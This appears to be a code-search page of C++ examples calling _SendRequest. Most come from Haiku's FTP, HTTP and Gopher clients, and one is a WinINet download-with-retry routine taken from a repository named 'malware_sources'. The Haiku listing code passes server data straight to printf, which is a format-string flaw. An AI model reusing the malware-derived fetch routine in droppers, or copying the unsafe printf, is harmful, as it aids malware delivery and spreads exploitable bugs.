コード例 #1
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
// Note: this only works for local remote moves, cross filesystem moves
// will not work
bool
FtpClient::MoveFile(const string& oldPath, const string& newPath)
{
	bool rc = false;
	string from = "RNFR ";
	string to = "RNTO ";
	string  replyString;
	int code, codeType;

	from += oldPath;
	to += newPath;

	if (_SendRequest(from)) {
		if (_GetReply(replyString, code, codeType)) {
			if (codeType == 3) {
				if (_SendRequest(to)) {
					if (_GetReply(replyString, code, codeType)) {
						if(codeType == 2)
							rc = true;
					}
				}
			}
		}
	}
	return rc;
}
コード例 #2
0
ファイル: wininet.cpp プロジェクト: CaineQT/malware_sources
bool Wininet::_CallURL(CALLURLDATA *pcud, MEMDATA *pBuf)
{
  bool r = false;
  HttpTools::URLDATA ud;

  if(HttpTools::_parseUrl(pcud->pstrURL, &ud))
  {
    DWORD dwRequestFlags = pcud->SendRequest_dwFlags;
    if(ud.scheme == HttpTools::UDS_HTTPS)dwRequestFlags |= WISRF_IS_HTTPS;
    else dwRequestFlags &= ~(WISRF_IS_HTTPS);

    for(BYTE bi = 0; bi < pcud->bTryCount; bi++)
    {
      //Delay.
      if(bi > 0)
      {
        if(pcud->hStopEvent != NULL)
        {
          if(CWA(kernel32, WaitForSingleObject)(pcud->hStopEvent, pcud->dwRetryDelay) != WAIT_TIMEOUT)goto END;
        }
        else CWA(kernel32, Sleep)(pcud->dwRetryDelay);
      }

      DWORD dwConnectFlags = pcud->Connect_dwFlags;
      BYTE pp_m = 1;
      if(pcud->bAutoProxy)
      {
        dwConnectFlags |= WICF_USE_IE_PROXY;
        pp_m++;
      }

      for(BYTE pp = 0; pp < pp_m; pp++)
      {
        if(pp == 1)dwConnectFlags &= ~(WICF_USE_IE_PROXY);

        //Connection.
        HINTERNET hConnect = _Connect(pcud->pstrUserAgent, ud.host, ud.port, dwConnectFlags);
        if(hConnect)
        {
          HINTERNET hRequest = _SendRequest(hConnect, ud.uri, NULL, pcud->SendRequest_pPostData, pcud->SendRequest_dwPostDataSize, dwRequestFlags);
          if(hRequest)
          {
            if(pcud->DownloadData_pstrFileName)r = _DownloadDataToFile(hRequest, pcud->DownloadData_pstrFileName, pcud->DownloadData_dwSizeLimit, pcud->hStopEvent);
            else r = _DownloadData(hRequest, pBuf, pcud->DownloadData_dwSizeLimit, pcud->hStopEvent);
            CWA(wininet, InternetCloseHandle)(hRequest);
          }

          _CloseConnection(hConnect);
          if(r)goto END;
        }
      }
    }
END:
    HttpTools::_freeUrlData(&ud);
  }
  return r;
}
コード例 #3
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::ListDirContents(string& listing)
{
	bool rc = false;
	string cmd, replyString;
	int code, codeType, numRead;
	char buf[513];
	
	cmd = "TYPE A";
		
	if (_SendRequest(cmd))
		_GetReply(replyString, code, codeType);

	if (_OpenDataConnection()) {
		cmd = "LIST";

		if (_SendRequest(cmd)) {
			if (_GetReply(replyString, code, codeType)) {
				if (codeType <= 2) {
					if (_AcceptDataConnection()) {
						numRead = 1;
						while (numRead > 0) {
							memset(buf, 0, sizeof(buf));
							numRead = fData->Receive(buf, sizeof(buf) - 1);
							listing += buf;
							printf(buf);
						}
						if (_GetReply(replyString, code, codeType)) {
							if (codeType <= 2)
								rc = true;
						}
					}
				}
			}
		}
	}

	delete fData;
	fData = 0;

	return rc;
}
コード例 #4
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::ChangeDir(const string& dir)
{
	bool rc = false;
	int code, codeType;
	string cmd = "CWD ", replyString;

	cmd += dir;
	
	if (dir.length() == 0)
		cmd += '/';

	if (_SendRequest(cmd) == true) {
		if (_GetReply(replyString, code, codeType) == true) {
			if (codeType == 2)
				rc = true;
		}
	}
	return rc;
}
コード例 #5
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::PrintWorkingDir(string& dir)
{
	bool rc = false;
	int code, codeType;
	string cmd = "PWD", replyString;
	long i;
	
	if (_SendRequest(cmd) == true) {
		if (_GetReply(replyString, code, codeType) == true) {
			if (codeType == 2) {
				i = replyString.find('"');
				if (i != -1) {
					i++;
					dir = replyString.substr(i, replyString.find('"') - i);
					rc = true;
				}
			}
		}
	}

	return rc;
}
コード例 #6
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::Chmod(const string& path, const string& mod)
{
	bool rc = false;
	int code, codeType;
	string cmd = "SITE CHMOD ", replyString;

	cmd += mod;
	cmd += " ";
	cmd += path;
	
	if (path.length() == 0)
		cmd += '/';
printf(B_TRANSLATE("cmd: '%s'\n"), cmd.c_str());
	if (_SendRequest(cmd) == true) {
		if (_GetReply(replyString, code, codeType) == true) {
printf(B_TRANSLATE("reply: %d, %d\n"), code, codeType);
			if (codeType == 2)
				rc = true;
		}
	}
	return rc;
}
コード例 #7
0
ファイル: HttpRequest.cpp プロジェクト: SummerSnail2014/haiku
status_t
BHttpRequest::_MakeRequest()
{
	delete fSocket;

	if (fSSL)
		fSocket = new(std::nothrow) CheckedSecureSocket(this);
	else
		fSocket = new(std::nothrow) BSocket();

	if (fSocket == NULL)
		return B_NO_MEMORY;

	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Connection to %s on port %d.",
		fUrl.Authority().String(), fRemoteAddr.Port());
	status_t connectError = fSocket->Connect(fRemoteAddr);

	if (connectError != B_OK) {
		_EmitDebug(B_URL_PROTOCOL_DEBUG_ERROR, "Socket connection error %s",
			strerror(connectError));
		return connectError;
	}

	//! ProtocolHook:ConnectionOpened
	if (fListener != NULL)
		fListener->ConnectionOpened(this);

	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT,
		"Connection opened, sending request.");

	_SendRequest();
	_SendHeaders();
	fSocket->Write("\r\n", 2);
	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Request sent.");

	_SendPostData();
	fRequestStatus = kRequestInitialState;



	// Receive loop
	bool receiveEnd = false;
	bool parseEnd = false;
	bool readByChunks = false;
	bool decompress = false;
	status_t readError = B_OK;
	ssize_t bytesRead = 0;
	ssize_t bytesReceived = 0;
	ssize_t bytesTotal = 0;
	off_t bytesUnpacked = 0;
	char* inputTempBuffer = new(std::nothrow) char[kHttpBufferSize];
	ssize_t inputTempSize = kHttpBufferSize;
	ssize_t chunkSize = -1;
	DynamicBuffer decompressorStorage;
	BDataIO* decompressingStream;
	ObjectDeleter<BDataIO> decompressingStreamDeleter;

	while (!fQuit && !(receiveEnd && parseEnd)) {
		if (!receiveEnd) {
			fSocket->WaitForReadable();
			BStackOrHeapArray<char, 4096> chunk(kHttpBufferSize);
			bytesRead = fSocket->Read(chunk, kHttpBufferSize);

			if (bytesRead < 0) {
				readError = bytesRead;
				break;
			} else if (bytesRead == 0)
				receiveEnd = true;

			fInputBuffer.AppendData(chunk, bytesRead);
		} else
			bytesRead = 0;

		if (fRequestStatus < kRequestStatusReceived) {
			_ParseStatus();

			//! ProtocolHook:ResponseStarted
			if (fRequestStatus >= kRequestStatusReceived && fListener != NULL)
				fListener->ResponseStarted(this);
		}

		if (fRequestStatus < kRequestHeadersReceived) {
			_ParseHeaders();

			if (fRequestStatus >= kRequestHeadersReceived) {
				_ResultHeaders() = fHeaders;

				//! ProtocolHook:HeadersReceived
				if (fListener != NULL)
					fListener->HeadersReceived(this);

				// Parse received cookies
				if (fContext != NULL) {
					for (int32 i = 0;  i < fHeaders.CountHeaders(); i++) {
						if (fHeaders.HeaderAt(i).NameIs("Set-Cookie")) {
							fContext->GetCookieJar().AddCookie(
								fHeaders.HeaderAt(i).Value(), fUrl);
						}
					}
				}

				if (BString(fHeaders["Transfer-Encoding"]) == "chunked")
					readByChunks = true;

				BString contentEncoding(fHeaders["Content-Encoding"]);
				// We don't advertise "deflate" support (see above), but we
				// still try to decompress it, if a server ever sends a deflate
				// stream despite it not being in our Accept-Encoding list.
				if (contentEncoding == "gzip"
						|| contentEncoding == "deflate") {
					decompress = true;
					readError = BZlibCompressionAlgorithm()
						.CreateDecompressingOutputStream(&decompressorStorage,
							NULL, decompressingStream);
					if (readError != B_OK)
						break;

					decompressingStreamDeleter.SetTo(decompressingStream);
				}

				int32 index = fHeaders.HasHeader("Content-Length");
				if (index != B_ERROR)
					bytesTotal = atoi(fHeaders.HeaderAt(index).Value());
				else
					bytesTotal = -1;
			}
		}

		if (fRequestStatus >= kRequestHeadersReceived) {
			// If Transfer-Encoding is chunked, we should read a complete
			// chunk in buffer before handling it
			if (readByChunks) {
				if (chunkSize >= 0) {
					if ((ssize_t)fInputBuffer.Size() >= chunkSize + 2) {
							// 2 more bytes to handle the closing CR+LF
						bytesRead = chunkSize;
						if (inputTempSize < chunkSize + 2) {
							delete[] inputTempBuffer;
							inputTempSize = chunkSize + 2;
							inputTempBuffer
								= new(std::nothrow) char[inputTempSize];
						}

						if (inputTempBuffer == NULL) {
							readError = B_NO_MEMORY;
							break;
						}

						fInputBuffer.RemoveData(inputTempBuffer,
							chunkSize + 2);
						chunkSize = -1;
					} else {
						// Not enough data, try again later
						bytesRead = -1;
					}
				} else {
					BString chunkHeader;
					if (_GetLine(chunkHeader) == B_ERROR) {
						chunkSize = -1;
						bytesRead = -1;
					} else {
						// Format of a chunk header:
						// <chunk size in hex>[; optional data]
						int32 semiColonIndex = chunkHeader.FindFirst(';', 0);

						// Cut-off optional data if present
						if (semiColonIndex != -1) {
							chunkHeader.Remove(semiColonIndex,
								chunkHeader.Length() - semiColonIndex);
						}

						chunkSize = strtol(chunkHeader.String(), NULL, 16);
						PRINT(("BHP[%p] Chunk %s=%ld\n", this,
							chunkHeader.String(), chunkSize));
						if (chunkSize == 0)
							fRequestStatus = kRequestContentReceived;

						bytesRead = -1;
					}
				}

				// A chunk of 0 bytes indicates the end of the chunked transfer
				if (bytesRead == 0)
					receiveEnd = true;
			} else {
				bytesRead = fInputBuffer.Size();

				if (bytesRead > 0) {
					if (inputTempSize < bytesRead) {
						inputTempSize = bytesRead;
						delete[] inputTempBuffer;
						inputTempBuffer = new(std::nothrow) char[bytesRead];
					}

					if (inputTempBuffer == NULL) {
						readError = B_NO_MEMORY;
						break;
					}
					fInputBuffer.RemoveData(inputTempBuffer, bytesRead);
				}
			}

			if (bytesRead >= 0) {
				bytesReceived += bytesRead;

				if (fListener != NULL) {
					if (decompress) {
						readError = decompressingStream->WriteExactly(
							inputTempBuffer, bytesRead);
						if (readError != B_OK)
							break;

						ssize_t size = decompressorStorage.Size();
						BStackOrHeapArray<char, 4096> buffer(size);
						size = decompressorStorage.Read(buffer, size);
						if (size > 0) {
							fListener->DataReceived(this, buffer, bytesUnpacked,
								size);
							bytesUnpacked += size;
						}
					} else if (bytesRead > 0) {
						fListener->DataReceived(this, inputTempBuffer,
							bytesReceived - bytesRead, bytesRead);
					}
					fListener->DownloadProgress(this, bytesReceived,
						std::max((ssize_t)0, bytesTotal));
				}

				if (bytesTotal >= 0 && bytesReceived >= bytesTotal)
					receiveEnd = true;

				if (decompress && receiveEnd) {
					readError = decompressingStream->Flush();

					if (readError == B_BUFFER_OVERFLOW)
						readError = B_OK;

					if (readError != B_OK)
						break;

					ssize_t size = decompressorStorage.Size();
					BStackOrHeapArray<char, 4096> buffer(size);
					size = decompressorStorage.Read(buffer, size);
					if (fListener != NULL && size > 0) {
						fListener->DataReceived(this, buffer,
							bytesUnpacked, size);
						bytesUnpacked += size;
					}
				}
			}
		}

		parseEnd = (fInputBuffer.Size() == 0);
	}

	fSocket->Disconnect();
	delete[] inputTempBuffer;

	if (readError != B_OK)
		return readError;

	return fQuit ? B_INTERRUPTED : B_OK;
}
コード例 #8
0
ファイル: HttpRequest.cpp プロジェクト: tqh/haiku_efi_old
status_t
BHttpRequest::_MakeRequest()
{
	if (fSocket == NULL)
		return B_NO_MEMORY;

	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Connection to %s on port %d.",
		fUrl.Authority().String(), fRemoteAddr.Port());
	status_t connectError = fSocket->Connect(fRemoteAddr);

	if (connectError != B_OK) {
		_EmitDebug(B_URL_PROTOCOL_DEBUG_ERROR, "Socket connection error %s",
			strerror(connectError));
		return connectError;
	}

	//! ProtocolHook:ConnectionOpened
	if (fListener != NULL)
		fListener->ConnectionOpened(this);

	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT,
		"Connection opened, sending request.");

	_SendRequest();
	_SendHeaders();
	fSocket->Write("\r\n", 2);
	_EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Request sent.");

	if (fRequestMethod == B_HTTP_POST && fOptPostFields != NULL) {
		if (fOptPostFields->GetFormType() != B_HTTP_FORM_MULTIPART) {
			BString outputBuffer = fOptPostFields->RawData();
			_EmitDebug(B_URL_PROTOCOL_DEBUG_TRANSFER_OUT,
				"%s", outputBuffer.String());
			fSocket->Write(outputBuffer.String(), outputBuffer.Length());
		} else {
			for (BHttpForm::Iterator it = fOptPostFields->GetIterator();
				const BHttpFormData* currentField = it.Next();
				) {
				_EmitDebug(B_URL_PROTOCOL_DEBUG_TRANSFER_OUT,
					it.MultipartHeader().String());
				fSocket->Write(it.MultipartHeader().String(),
					it.MultipartHeader().Length());

				switch (currentField->Type()) {
					default:
					case B_HTTPFORM_UNKNOWN:
						ASSERT(0);
						break;

					case B_HTTPFORM_STRING:
						fSocket->Write(currentField->String().String(),
							currentField->String().Length());
						break;

					case B_HTTPFORM_FILE:
						{
							BFile upFile(currentField->File().Path(),
								B_READ_ONLY);
							char readBuffer[kHttpBufferSize];
							ssize_t readSize;

							readSize = upFile.Read(readBuffer,
								sizeof(readBuffer));
							while (readSize > 0) {
								fSocket->Write(readBuffer, readSize);
								readSize = upFile.Read(readBuffer,
									sizeof(readBuffer));
							}

							break;
						}
					case B_HTTPFORM_BUFFER:
						fSocket->Write(currentField->Buffer(),
							currentField->BufferSize());
						break;
				}

				fSocket->Write("\r\n", 2);
			}

			BString footer = fOptPostFields->GetMultipartFooter();
			fSocket->Write(footer.String(), footer.Length());
		}
	} else if ((fRequestMethod == B_HTTP_POST || fRequestMethod == B_HTTP_PUT)
		&& fOptInputData != NULL) {

		for (;;) {
			char outputTempBuffer[kHttpBufferSize];
			ssize_t read = fOptInputData->Read(outputTempBuffer,
				sizeof(outputTempBuffer));

			if (read <= 0)
				break;

			if (fOptInputDataSize < 0) {
				// Chunked transfer
				char hexSize[16];
				size_t hexLength = sprintf(hexSize, "%ld", read);

				fSocket->Write(hexSize, hexLength);
				fSocket->Write("\r\n", 2);
				fSocket->Write(outputTempBuffer, read);
				fSocket->Write("\r\n", 2);
			} else {
				fSocket->Write(outputTempBuffer, read);
			}
		}

		if (fOptInputDataSize < 0) {
			// Chunked transfer terminating sequence
			fSocket->Write("0\r\n\r\n", 5);
		}
	}

	fRequestStatus = kRequestInitialState;

	// Receive loop
	bool receiveEnd = false;
	bool parseEnd = false;
	bool readByChunks = false;
	bool decompress = false;
	status_t readError = B_OK;
	ssize_t bytesRead = 0;
	ssize_t bytesReceived = 0;
	ssize_t bytesTotal = 0;
	char* inputTempBuffer = new(std::nothrow) char[kHttpBufferSize];
	ssize_t inputTempSize = kHttpBufferSize;
	ssize_t chunkSize = -1;
	DynamicBuffer decompressorStorage;
	BPrivate::ZlibDecompressor decompressor(&decompressorStorage);

	while (!fQuit && !(receiveEnd && parseEnd)) {
		if (!receiveEnd) {
			fSocket->WaitForReadable();
			BNetBuffer chunk(kHttpBufferSize);
			bytesRead = fSocket->Read(chunk.Data(), kHttpBufferSize);

			if (bytesRead < 0) {
				readError = bytesRead;
				break;
			} else if (bytesRead == 0)
				receiveEnd = true;

			fInputBuffer.AppendData(chunk.Data(), bytesRead);
		} else
			bytesRead = 0;

		if (fRequestStatus < kRequestStatusReceived) {
			_ParseStatus();

			//! ProtocolHook:ResponseStarted
			if (fRequestStatus >= kRequestStatusReceived && fListener != NULL)
				fListener->ResponseStarted(this);
		}

		if (fRequestStatus < kRequestHeadersReceived) {
			_ParseHeaders();

			if (fRequestStatus >= kRequestHeadersReceived) {
				_ResultHeaders() = fHeaders;

				//! ProtocolHook:HeadersReceived
				if (fListener != NULL)
					fListener->HeadersReceived(this);

				// Parse received cookies
				if (fContext != NULL) {
					for (int32 i = 0;  i < fHeaders.CountHeaders(); i++) {
						if (fHeaders.HeaderAt(i).NameIs("Set-Cookie")) {
							fContext->GetCookieJar().AddCookie(
								fHeaders.HeaderAt(i).Value(), fUrl);
						}
					}
				}

				if (BString(fHeaders["Transfer-Encoding"]) == "chunked")
					readByChunks = true;

				BString contentEncoding(fHeaders["Content-Encoding"]);
				if (contentEncoding == "gzip"
						|| contentEncoding == "deflate") {
					decompress = true;
					decompressor.Init();
				}

				int32 index = fHeaders.HasHeader("Content-Length");
				if (index != B_ERROR)
					bytesTotal = atoi(fHeaders.HeaderAt(index).Value());
				else
					bytesTotal = 0;
			}
		}

		if (fRequestStatus >= kRequestHeadersReceived) {
			// If Transfer-Encoding is chunked, we should read a complete
			// chunk in buffer before handling it
			if (readByChunks) {
				if (chunkSize >= 0) {
					if ((ssize_t)fInputBuffer.Size() >= chunkSize + 2) {
							// 2 more bytes to handle the closing CR+LF
						bytesRead = chunkSize;
						if (inputTempSize < chunkSize + 2) {
							delete[] inputTempBuffer;
							inputTempSize = chunkSize + 2;
							inputTempBuffer
								= new(std::nothrow) char[inputTempSize];
						}

						if (inputTempBuffer == NULL) {
							readError = B_NO_MEMORY;
							break;
						}

						fInputBuffer.RemoveData(inputTempBuffer,
							chunkSize + 2);
						chunkSize = -1;
					} else {
						// Not enough data, try again later
						bytesRead = -1;
					}
				} else {
					BString chunkHeader;
					if (_GetLine(chunkHeader) == B_ERROR) {
						chunkSize = -1;
						bytesRead = -1;
					} else {
						// Format of a chunk header:
						// <chunk size in hex>[; optional data]
						int32 semiColonIndex = chunkHeader.FindFirst(';', 0);

						// Cut-off optional data if present
						if (semiColonIndex != -1) {
							chunkHeader.Remove(semiColonIndex,
								chunkHeader.Length() - semiColonIndex);
						}

						chunkSize = strtol(chunkHeader.String(), NULL, 16);
						PRINT(("BHP[%p] Chunk %s=%ld\n", this,
							chunkHeader.String(), chunkSize));
						if (chunkSize == 0)
							fRequestStatus = kRequestContentReceived;

						bytesRead = -1;
					}
				}

				// A chunk of 0 bytes indicates the end of the chunked transfer
				if (bytesRead == 0)
					receiveEnd = true;
			} else {
				bytesRead = fInputBuffer.Size();

				if (bytesRead > 0) {
					if (inputTempSize < bytesRead) {
						inputTempSize = bytesRead;
						delete[] inputTempBuffer;
						inputTempBuffer = new(std::nothrow) char[bytesRead];
					}

					if (inputTempBuffer == NULL) {
						readError = B_NO_MEMORY;
						break;
					}
					fInputBuffer.RemoveData(inputTempBuffer, bytesRead);
				}
			}

			if (bytesRead > 0) {
				bytesReceived += bytesRead;

				if (fListener != NULL) {
					if (decompress) {
						decompressor.DecompressNext(inputTempBuffer,
							bytesRead);
						ssize_t size = decompressorStorage.Size();
						BStackOrHeapArray<char, 4096> buffer(size);
						size = decompressorStorage.Read(buffer, size);
						if (size > 0) {
							fListener->DataReceived(this, buffer, size);
						}
					} else {
						fListener->DataReceived(this, inputTempBuffer,
							bytesRead);
					}
					fListener->DownloadProgress(this, bytesReceived,
						bytesTotal);
				}

				if (bytesTotal > 0 && bytesReceived >= bytesTotal) {
					receiveEnd = true;

					if (decompress) {
						decompressor.Finish();
						ssize_t size = decompressorStorage.Size();
						BStackOrHeapArray<char, 4096> buffer(size);
						size = decompressorStorage.Read(buffer, size);
						if (fListener != NULL && size > 0) {
							fListener->DataReceived(this, buffer, size);
						}
					}
				}
			}
		}

		parseEnd = (fInputBuffer.Size() == 0);
	}

	fSocket->Disconnect();
	delete[] inputTempBuffer;

	if (readError != B_OK)
		return readError;

	return fQuit ? B_INTERRUPTED : B_OK;
}
コード例 #9
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::_OpenDataConnection()
{
	string host, cmd, replyString;
	unsigned short port;
	BNetAddress addr;
	int i, code, codeType;
	bool rc = false;
	struct sockaddr_in sa;
	
	delete fData;
	fData = 0;
	
	fData = new BNetEndpoint;
	
	if (_TestState(ftp_passive)) {
		// Here we send a "pasv" command and connect to the remote server
		// on the port it sends back to us
		cmd = "PASV";
		if (_SendRequest(cmd)) {
			if (_GetReply(replyString, code, codeType)) {

				if (codeType == 2) {
					 //  It should give us something like:
			 		 // "227 Entering Passive Mode (192,168,1,1,10,187)"
					int paddr[6];
					unsigned char ucaddr[6];

					i = replyString.find('(');
					i++;

					replyString = replyString.substr(i, replyString.find(')') - i);
					if (sscanf(replyString.c_str(), "%d,%d,%d,%d,%d,%d",
						&paddr[0], &paddr[1], &paddr[2], &paddr[3], 
						&paddr[4], &paddr[5]) != 6) {
						// cannot do passive.  Do a little harmless rercursion here
						_ClearState(ftp_passive);
						return _OpenDataConnection();
						}

					for (i = 0; i < 6; i++)
						ucaddr[i] = (unsigned char)(paddr[i] & 0xff);

					memcpy(&sa.sin_addr, &ucaddr[0], (size_t) 4);
					memcpy(&sa.sin_port, &ucaddr[4], (size_t) 2);
					addr.SetTo(sa);
					if (fData->Connect(addr) == B_NO_ERROR)
						rc = true;

				}
			}
		} else {
			// cannot do passive.  Do a little harmless rercursion here
			_ClearState(ftp_passive);
			rc = _OpenDataConnection();
		}

	} else {
		// Here we bind to a local port and send a PORT command
		if (fData->Bind() == B_NO_ERROR) {
			char buf[255];

			fData->Listen();
			addr = fData->LocalAddr();
			addr.GetAddr(buf, &port);
			host = buf;

			i = 0;
			while (i >= 0) {
				i = host.find('.', i);
				if (i >= 0)
					host[i] = ',';
			}

			sprintf(buf, ",%d,%d", (port & 0xff00) >> 8, port & 0x00ff);
			cmd = "PORT ";
			cmd += host;
			cmd += buf;
			_SendRequest(cmd);
			_GetReply(replyString, code, codeType);
			// PORT failure is in the 500-range
			if (codeType == 2)
				rc = true;
		}
	}
コード例 #10
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::GetFile(const string& remote, const string& local, ftp_mode mode)
{
	bool rc = false;
	string cmd, replyString;
	int code, codeType, rlen, slen, i;
	BFile outfile(local.c_str(), B_READ_WRITE | B_CREATE_FILE);
	char buf[8192], sbuf[16384], *stmp;
	bool writeError = false;

	if (outfile.InitCheck() != B_NO_ERROR)
		return false;

	if (mode == binary_mode)
		cmd = "TYPE I";
	else
		cmd = "TYPE A";

	if (_SendRequest(cmd))
		_GetReply(replyString, code, codeType);

	if (_OpenDataConnection()) {
		cmd = "RETR ";
		cmd += remote;
		
		if (_SendRequest(cmd)) {
			if (_GetReply(replyString, code, codeType)) {
				if (codeType <= 2) {
					if (_AcceptDataConnection()) {
						rlen = 1;
						rc = true;
						while (rlen > 0) {
							memset(buf, 0, sizeof(buf));
							memset(sbuf, 0, sizeof(sbuf));
							rlen = fData->Receive(buf, sizeof(buf));
							
							if (rlen > 0) {

								slen = rlen;
								stmp = buf;
								if (mode == ascii_mode) {
									stmp = sbuf;
									slen = 0;
									for (i = 0; i < rlen; i++) {
										if (buf[i] == '\r')
											i++;
										*stmp = buf[i];
										stmp++;
										slen++;
									}
									stmp = sbuf;
								}

								if (slen > 0) {
									if (outfile.Write(stmp, slen) < 0)
										writeError = true;				
								}
							}
						}
					}
				}
			}
		}
	}

	delete fData;
	fData = 0;
	
	if (rc) {					
		_GetReply(replyString, code, codeType);
		rc = (codeType <= 2 && writeError == false);
	}
	return rc;
}
コード例 #11
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::PutFile(const string& local, const string& remote, ftp_mode mode)
{
	bool rc = false;
	string cmd, replyString;
	int code, codeType, rlen, slen, i;
	BFile infile(local.c_str(), B_READ_ONLY);
	char buf[8192], sbuf[16384], *stmp;
	
	if (infile.InitCheck() != B_NO_ERROR)
		return false;

	if (mode == binary_mode)
		cmd = "TYPE I";
	else
		cmd = "TYPE A";
		
	if (_SendRequest(cmd))
		_GetReply(replyString, code, codeType);

	try {
		if (_OpenDataConnection()) {
			cmd = "STOR ";
			cmd += remote;

			if (_SendRequest(cmd)) {
				if (_GetReply(replyString, code, codeType)) {
					if (codeType <= 2) {
						if (_AcceptDataConnection()) {
							rlen = 1;
							while (rlen > 0) {
								memset(buf, 0, sizeof(buf));
								memset(sbuf, 0, sizeof(sbuf));
								rlen = infile.Read((void*)buf, sizeof(buf));
								slen = rlen;
								stmp = buf;
								if (mode == ascii_mode) {
									stmp = sbuf;
									slen = 0;
									for (i = 0; i < rlen; i++) {
										if (buf[i] == '\n') {
											*stmp = '\r';
											stmp++;
											slen++;
										}
										*stmp = buf[i];
										stmp++;
										slen++;
									}
									stmp = sbuf;
								}
								if (slen > 0) {
									if (fData->Send(stmp, slen) < 0)
										throw "bail";
								}
							}
							
							rc = true;
						}
					}
				}
			}
		}
	}

	catch(const char* errorString)
	{	
	}

	delete fData;
	fData = 0;

	if (rc) {
		_GetReply(replyString, code, codeType);
		rc = codeType <= 2;
	}
	
	return rc;
}
コード例 #12
0
ファイル: FtpClient.cpp プロジェクト: mariuz/haiku
bool
FtpClient::Connect(const string& server, const string& login, const string& passwd)
{
	bool rc = false;
	int code, codeType;
	string cmd, replyString;
	BNetAddress addr;
	
	delete fControl;
	delete fData;
	
	fControl = new BNetEndpoint;

	if (fControl->InitCheck() != B_NO_ERROR)
		return false;

	addr.SetTo(server.c_str(), "tcp", "ftp");
	if (fControl->Connect(addr) == B_NO_ERROR) {
		// read the welcome message, do the login
		
		if (_GetReply(replyString, code, codeType)) {
			if (code != 421 && codeType != 5) {
				cmd = "USER ";
				cmd += login;
				_SendRequest(cmd);

				if (_GetReply(replyString, code, codeType)) {
					switch (code) {
						case 230:	
						case 202:	
							rc = true;
							break;

						case 331:  // password needed
							cmd = "PASS ";
							cmd += passwd;
							_SendRequest(cmd);
							if (_GetReply(replyString, code, codeType)) {
								if (codeType == 2)
									rc = true;
							}
							break;

						default:
							break;
	
					}
				}
			}
		}
	}	

	if (rc == true)
		_SetState(ftp_connected);
	else {
		delete fControl;
		fControl = 0;
	}

	return rc;
}
コード例 #13
0
status_t
BGopherRequest::_ProtocolLoop()
{
    if (fSocket == NULL)
        return B_NO_MEMORY;

    if (!_ResolveHostName(fUrl.Host(), fUrl.HasPort() ? fUrl.Port() : 70)) {
        _EmitDebug(B_URL_PROTOCOL_DEBUG_ERROR,
                   "Unable to resolve hostname (%s), aborting.",
                   fUrl.Host().String());
        return B_SERVER_NOT_FOUND;
    }

    _EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Connection to %s on port %d.",
               fUrl.Authority().String(), fRemoteAddr.Port());
    status_t connectError = fSocket->Connect(fRemoteAddr);

    if (connectError != B_OK) {
        _EmitDebug(B_URL_PROTOCOL_DEBUG_ERROR, "Socket connection error %s",
                   strerror(connectError));
        return connectError;
    }

    //! ProtocolHook:ConnectionOpened
    if (fListener != NULL)
        fListener->ConnectionOpened(this);

    _EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT,
               "Connection opened, sending request.");

    _SendRequest();
    _EmitDebug(B_URL_PROTOCOL_DEBUG_TEXT, "Request sent.");

    // Receive loop
    bool receiveEnd = false;
    status_t readError = B_OK;
    ssize_t bytesRead = 0;
    //ssize_t bytesReceived = 0;
    //ssize_t bytesTotal = 0;
    bool dataValidated = false;
    BStackOrHeapArray<char, 4096> chunk(kGopherBufferSize);

    while (!fQuit && !receiveEnd) {
        fSocket->WaitForReadable();
        bytesRead = fSocket->Read(chunk, kGopherBufferSize);

        if (bytesRead < 0) {
            readError = bytesRead;
            break;
        } else if (bytesRead == 0)
            receiveEnd = true;

        fInputBuffer.AppendData(chunk, bytesRead);

        if (!dataValidated) {
            size_t i;
            // on error (file doesn't exist, ...) the server sends
            // a faked directory entry with an error message
            if (fInputBuffer.Size() && fInputBuffer.Data()[0] == '3') {
                int tabs = 0;
                bool crlf = false;

                // make sure the buffer only contains printable characters
                // and has at least 3 tabs before a CRLF
                for (i = 0; i < fInputBuffer.Size(); i++) {
                    char c = fInputBuffer.Data()[i];
                    if (c == '\t') {
                        if (!crlf)
                            tabs++;
                    } else if (c == '\r' || c == '\n') {
                        if (tabs < 3)
                            break;
                        crlf = true;
                    } else if (!isprint(fInputBuffer.Data()[i])) {
                        crlf = false;
                        break;
                    }
                }
                if (crlf && tabs > 2 && tabs < 5) {
                    // TODO:
                    //if enough data
                    // else continue
                    fItemType = GOPHER_TYPE_DIRECTORY;
                    readError = B_RESOURCE_NOT_FOUND;
                    // continue parsing the error text anyway
                }
            }
            // special case for buggy(?) Gophernicus/1.5
            static const char *buggy = "Error: File or directory not found!";
            if (fInputBuffer.Size() > strlen(buggy)
                    && !memcmp(fInputBuffer.Data(), buggy, strlen(buggy))) {
                fItemType = GOPHER_TYPE_DIRECTORY;
                readError = B_RESOURCE_NOT_FOUND;
                // continue parsing the error text anyway
                // but it won't look good
            }


            // now we probably have correct data
            dataValidated = true;

            //! ProtocolHook:ResponseStarted
            if (fListener != NULL)
                fListener->ResponseStarted(this);

            // we don't really have headers but well...
            //! ProtocolHook:HeadersReceived
            if (fListener != NULL)
                fListener->HeadersReceived(this);

            // now we can assign MIME type if we know it
            const char *mime = "application/octet-stream";
            for (i = 0; gopher_type_map[i].type != GOPHER_TYPE_NONE; i++) {
                if (gopher_type_map[i].type == fItemType) {
                    mime = gopher_type_map[i].mime;
                    break;
                }
            }
            fResult.SetContentType(mime);
        }

        if (_NeedsParsing())
            _ParseInput(receiveEnd);
        else if (fInputBuffer.Size()) {
            // send input directly
            if (fListener != NULL) {
                fListener->DataReceived(this, (const char *)fInputBuffer.Data(),
                                        fPosition, fInputBuffer.Size());
            }

            fPosition += fInputBuffer.Size();

